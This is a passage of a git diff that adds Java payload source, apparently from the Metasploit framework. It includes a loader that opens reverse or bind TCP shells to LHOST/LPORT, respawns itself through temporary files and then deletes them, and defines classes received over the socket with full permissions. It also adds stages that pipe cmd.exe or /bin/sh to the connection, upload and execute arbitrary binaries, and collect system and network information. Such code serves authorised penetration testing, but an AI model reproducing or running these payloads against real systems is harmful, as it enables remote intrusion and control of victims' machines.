INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.PipedOutputStream; +import java.io.PrintStream; + +/** + * For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends... + */ +public class JShSignalSender extends Thread { + private final PipedOutputStream signalStream; + private boolean doSignal, doTerminate; + private final PrintStream errorStream; + + public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) { + this.signalStream = signalStream; + this.errorStream = errorStream; + start(); + } + + public void run() { + try { + while (true) { + synchronized (this) { + while (!doSignal && !doTerminate) { + wait(); + } + if (doTerminate) { + break; + } + doSignal = false; + } + signalStream.write(new byte[] { 0, '$' }); + signalStream.flush(); + } + signalStream.close(); + } catch (final Throwable ex) { + ex.printStackTrace(errorStream); + } + } + + public synchronized void signal() { + doSignal = true; + notifyAll(); + } + + public synchronized void terminate() { + doTerminate = true; + notifyAll(); + } +} diff --git a/external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java b/external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java new file mode 100644 index 0000000000..12dbc43c2d --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/JShStreamForwarder.java @@ -0,0 +1,108 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.InputStream; +import java.io.PrintStream; + +public class JShStreamForwarder extends Thread { + private final InputStream in; + private PrintStream out; + private boolean paused = false, finished = false; + private final JShSignalSender signalSender; + + public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) { + this.in = in; + this.out = out; + this.signalSender = signalSender; + start(); + } + + public synchronized boolean isFinished() { + return finished; + } + + public synchronized void pauseForwarding(boolean paused) { + this.paused = paused; + this.notifyAll(); + } + + public void run() { + try { + try { + final byte[] buf = new byte[4096]; + int length; + while ((length = in.read(buf)) != -1) { + synchronized (this) { + while (paused) { + wait(); + } + if (out != null) { + out.write(buf, 0, length); + if (in.available() == 0) { + out.flush(); + } + } + } + } + synchronized (this) { + finished = true; + if (!paused) { + signalSender.signal(); + } + } + } finally { + in.close(); + } + } catch (final Throwable ex) { + synchronized (this) { + while (paused) { + try { + wait(); + } catch (final InterruptedException ex2) { + } + } + if (out != null) { + ex.printStackTrace(out); + out.flush(); + } + } + } + } + + public synchronized void stopForwarding() { + out = null; + } +} diff --git a/external/source/javapayload/src/javapayload/stage/Meterpreter.java b/external/source/javapayload/src/javapayload/stage/Meterpreter.java new file mode 100644 index 0000000000..850d767458 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/Meterpreter.java @@ -0,0 +1,25 @@ +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.OutputStream; +import java.net.URL; +import java.net.URLClassLoader; + +import com.metasploit.meterpreter.MemoryBufferURLConnection; + +/** + * Meterpreter Java Payload Proxy + */ +public class Meterpreter implements Stage { + + public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect"); + int coreLen = in.readInt(); + byte[] core = new byte[coreLen]; + in.readFully(core); + URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar"); + new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) }); + in.close(); + out.close(); + } +} diff --git a/external/source/javapayload/src/javapayload/stage/SendParameters.java b/external/source/javapayload/src/javapayload/stage/SendParameters.java new file mode 100644 index 0000000000..997ad23093 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/SendParameters.java @@ -0,0 +1,53 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.OutputStream; + +public class SendParameters implements Stage { + + public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + int paramCount = in.readUnsignedShort(); + String[] params = new String[paramCount+2]; + params[0] = parameters[0]; + params[1] = "--"; + for (int i = 2; i < params.length; i++) { + params[i] = in.readUTF(); + } + Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance(); + realStage.start(in, out, params); + } +} diff --git a/external/source/javapayload/src/javapayload/stage/Shell.java b/external/source/javapayload/src/javapayload/stage/Shell.java new file mode 100644 index 0000000000..5402809234 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/Shell.java @@ -0,0 +1,56 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.OutputStream; + +public class Shell implements Stage { + public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + final String[] cmdarray = new String[1]; + if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { + cmdarray[0] = "cmd.exe"; + } else { + cmdarray[0] = "/bin/sh"; + } + final Process proc = Runtime.getRuntime().exec(cmdarray); + new StreamForwarder(in, proc.getOutputStream(), out).start(); + new StreamForwarder(proc.getInputStream(), out, out).start(); + new StreamForwarder(proc.getErrorStream(), out, out).start(); + proc.waitFor(); + in.close(); + out.close(); + } +} diff --git a/external/source/javapayload/src/javapayload/stage/Stage.java b/external/source/javapayload/src/javapayload/stage/Stage.java new file mode 100644 index 0000000000..22084f72f0 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/Stage.java @@ -0,0 +1,42 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.OutputStream; + +public interface Stage { + public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception; +} diff --git a/external/source/javapayload/src/javapayload/stage/StreamForwarder.java b/external/source/javapayload/src/javapayload/stage/StreamForwarder.java new file mode 100644 index 0000000000..9dbe19f1ae --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/StreamForwarder.java @@ -0,0 +1,79 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.PrintStream; + +public class StreamForwarder extends Thread { + public static void forward(InputStream in, OutputStream out) throws IOException { + try { + final byte[] buf = new byte[4096]; + int length; + while ((length = in.read(buf)) != -1) { + if (out != null) { + out.write(buf, 0, length); + if (in.available() == 0) { + out.flush(); + } + } + } + } finally { + in.close(); + out.close(); + } + } + + private final InputStream in; + private final OutputStream out; + + private final OutputStream stackTraceOut; + + public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) { + this.in = in; + this.out = out; + this.stackTraceOut = stackTraceOut; + } + + public void run() { + try { + forward(in, out); + } catch (final Throwable ex) { + ex.printStackTrace(new PrintStream(stackTraceOut)); + } + } +} diff --git a/external/source/javapayload/src/javapayload/stage/SystemInfo.java b/external/source/javapayload/src/javapayload/stage/SystemInfo.java new file mode 100644 index 0000000000..da494ef96d --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/SystemInfo.java @@ -0,0 +1,92 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.BufferedReader; +import java.io.DataInputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.PrintStream; +import java.net.InetAddress; +import java.net.NetworkInterface; +import java.net.URL; +import java.util.Enumeration; + +public class SystemInfo implements Stage { + + public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + PrintStream pout = new PrintStream(out, true); + pout.println("System properties:"); + pout.println("~~~~~~~~~~~~~~~~~~"); + for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) { + final String property = (String) e.nextElement(); + pout.println(property + "=" + System.getProperty(property)); + } + pout.println(); + pout.println("Local address:"); + pout.println("~~~~~~~~~~~~~~"); + InetAddress addr = InetAddress.getLocalHost(); + pout.println("Name: "+addr.getHostName()); + pout.println("Canonical Name: "+addr.getCanonicalHostName()); + pout.println("IP Address: "+addr.getHostAddress()); + pout.println(); + pout.println("Network interfaces:"); + pout.println("~~~~~~~~~~~~~~~~~~~"); + for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { + NetworkInterface iface = (NetworkInterface) e.nextElement(); + pout.println(iface.getName()); + pout.println(" Display Name: "+iface.getDisplayName()); + for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) { + InetAddress ifaddr = (InetAddress) e2.nextElement(); + pout.println(" Address:"); + pout.println(" Name: "+ifaddr.getHostName()); + pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName()); + pout.println(" IP Address: "+ifaddr.getHostAddress()); + } + } + pout.println(); + pout.println("External IP Address:"); + pout.println("~~~~~~~~~~~~~~~~~~~~"); + try { + BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream())); + pout.println(br.readLine()); + br.close(); + } catch (Exception ex) { + ex.printStackTrace(pout); + } + pout.println(); + pout.close(); + } +} diff --git a/external/source/javapayload/src/javapayload/stage/UpExec.java b/external/source/javapayload/src/javapayload/stage/UpExec.java new file mode 100644 index 0000000000..55f6696f1e --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/UpExec.java @@ -0,0 +1,71 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.OutputStream; + +public class UpExec implements Stage { + + public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath(); + final int length = in.readInt(); + final byte[] data = new byte[length]; + in.readFully(data); + final FileOutputStream fos = new FileOutputStream(tempfile); + fos.write(data); + fos.close(); + for (int i = 0; i < parameters.length; i++) { + if (parameters[i].equals("--")) { + // separator found. The next parameter will be the module name, and + // all remaining parameters are for exec. + final String[] cmdarray = new String[parameters.length - i - 2]; + System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length); + cmdarray[0] = tempfile; + final Process proc = Runtime.getRuntime().exec(cmdarray); + new StreamForwarder(in, proc.getOutputStream(), out).start(); + new StreamForwarder(proc.getInputStream(), out, out).start(); + new StreamForwarder(proc.getErrorStream(), out, out).start(); + proc.waitFor(); + in.close(); + out.close(); + break; + } + } + new File(tempfile).delete(); + } +} diff --git a/external/source/javapayload/src/metasploit/Payload.java b/external/source/javapayload/src/metasploit/Payload.java new file mode 100644 index 0000000000..3ec39e155e --- /dev/null +++ b/external/source/javapayload/src/metasploit/Payload.java @@ -0,0 +1,308 @@ +/* + * Java Payloads loader class for Metasploit. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +package metasploit; + +import java.io.DataInputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.PrintStream; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.URL; +import java.security.AllPermission; +import java.security.CodeSource; +import java.security.Permissions; +import java.security.ProtectionDomain; +import java.security.cert.Certificate; +import java.util.Locale; +import java.util.Properties; +import java.util.Stack; +import java.util.StringTokenizer; + +/** + * The main payload loader class. + * + * To invoke all the magic, call the {@link #main(String[])} method + * (Or use it as Main-Class in a standalone jar and double-click it). + */ +public class Payload extends ClassLoader { + + public static void main(String[] ignored) throws Exception { + // Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat". + Properties props = new Properties(); + Class clazz = Payload.class; + String clazzFile = clazz.getName().replace('.', '/')+".class"; + InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat"); + if (propsStream != null) { + props.load(propsStream); + propsStream.close(); + } + + // check if we should respawn + int spawn = Integer.parseInt(props.getProperty("Spawn", "0")); + if (spawn > 0) { + // decrease count so that eventually the process + // will stop spawning + props.setProperty("Spawn", String.valueOf(spawn - 1)); + // write our class + File dummyTempFile = File.createTempFile("~spawn", ".tmp"); + dummyTempFile.delete(); + File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir"); + File propFile = new File(tempDir, "metasploit.dat"); + File classFile = new File(tempDir, clazzFile); + classFile.getParentFile().mkdirs(); + // load ourselves via the class loader (works both on disk and from Jar) + InputStream in = clazz.getResourceAsStream("/"+clazzFile); + FileOutputStream fos = new FileOutputStream(classFile); + byte[] buf = new byte[4096]; + int len; + while ((len = in.read(buf)) != -1) { + fos.write(buf,0,len); + } + fos.close(); + fos = new FileOutputStream(propFile); + props.store(fos, ""); + fos.close(); + Process proc = Runtime.getRuntime().exec(new String[] { + getJreExecutable("java"), + "-classpath", + tempDir.getAbsolutePath(), + clazz.getName() + }); + // the input streams might cause the child process to block if + // we do not read or close them + proc.getInputStream().close(); + proc.getErrorStream().close(); + + // give the process plenty of time to load the class if needed + Thread.sleep(2000); + + // clean up (we can even delete the .class file on Windows + // if the process is still running). Note that delete() + // will only delete empty directories, so we have to delete + // everything else first + File[] files = new File[] { + classFile, classFile.getParentFile(), propFile, tempDir + }; + for (int i = 0; i < files.length; i++) { + for (int j = 0; j < 10; j++) { + if (files[i].delete()) + break; + files[i].deleteOnExit(); + Thread.sleep(100); + } + } + } else { + // check what stager to use (bind/reverse) + int lPort = Integer.parseInt(props.getProperty("LPORT", "4444")); + String lHost = props.getProperty("LHOST", null); + InputStream in; + OutputStream out; + if (lPort <= 0) { + // debug code: just connect to stdin/stdout + // best used with embedded stages + in = System.in; + out = System.out; + } else { + Socket socket; + if (lHost != null) { + // reverse_tcp + socket = new Socket(lHost, lPort); + } else { + // bind_tcp + ServerSocket serverSocket = new ServerSocket(lPort); + socket = serverSocket.accept(); + serverSocket.close(); // no need to listen any longer + } + in = socket.getInputStream(); + out = socket.getOutputStream(); + } + + // build the stage parameters, if any + StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " "); + String[] stageParams = new String[stageParamTokenizer.countTokens()]; + for (int i = 0; i < stageParams.length; i++) { + stageParams[i] = stageParamTokenizer.nextToken(); + } + new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams); + } + } + + private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception { + try { + final DataInputStream in = new DataInputStream(rawIn); + Class clazz; + final Permissions permissions = new Permissions(); + permissions.add(new AllPermission()); + final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions); + if (embeddedStageName == null) { + int length = in.readInt(); + do { + final byte[] classfile = new byte[length]; + in.readFully(classfile); + resolveClass(clazz = defineClass(null, classfile, 0, length, pd)); + length = in.readInt(); + } while (length > 0); + } else { + clazz = Class.forName("javapayload.stage."+embeddedStageName); + } + final Object stage = clazz.newInstance(); + clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters }); + } catch (final Throwable t) { + t.printStackTrace(new PrintStream(out)); + } + } + + /// + /// The rest of the file is based on code from Apache Ant 1.8.1 + /// + private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH); + private static final String PATH_SEP = System.getProperty("path.separator"); + + private static final boolean IS_AIX = "aix".equals(OS_NAME); + private static final boolean IS_DOS = PATH_SEP.equals(";"); + private static final String JAVA_HOME = System.getProperty("java.home"); + + private static String getJreExecutable(String command) { + File jExecutable = null; + + if (IS_AIX) { + // On IBM's JDK 1.2 the directory layout is different, 1.3 follows + // Sun's layout. + jExecutable = findInDir(JAVA_HOME + "/sh", command); + } + + if (jExecutable == null) { + jExecutable = findInDir(JAVA_HOME + "/bin", command); + } + + if (jExecutable != null) { + return jExecutable.getAbsolutePath(); + } else { + // Unfortunately on Windows java.home doesn't always refer + // to the correct location, so we need to fall back to + // assuming java is somewhere on the PATH. + return addExtension(command); + } + } + + private static String addExtension(String command) { + // This is the most common extension case - exe for windows and OS/2, + // nothing for *nix. + return command + (IS_DOS ? ".exe" : ""); + } + + private static File findInDir(String dirName, String commandName) { + File dir = normalize(dirName); + File executable = null; + if (dir.exists()) { + executable = new File(dir, addExtension(commandName)); + if (!executable.exists()) { + executable = null; + } + } + return executable; + } + + private static File normalize(final String path) { + Stack s = new Stack(); + String[] dissect = dissect(path); + s.push(dissect[0]); + + StringTokenizer tok = new StringTokenizer(dissect[1], File.separator); + while (tok.hasMoreTokens()) { + String thisToken = tok.nextToken(); + if (".".equals(thisToken)) { + continue; + } + if ("..".equals(thisToken)) { + if (s.size() < 2) { + // Cannot resolve it, so skip it. + return new File(path); + } + s.pop(); + } else { // plain component + s.push(thisToken); + } + } + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < s.size(); i++) { + if (i > 1) { + // not before the filesystem root and not after it, since root + // already contains one + sb.append(File.separatorChar); + } + sb.append(s.elementAt(i)); + } + return new File(sb.toString()); + } + + private static String[] dissect(String path) { + char sep = File.separatorChar; + 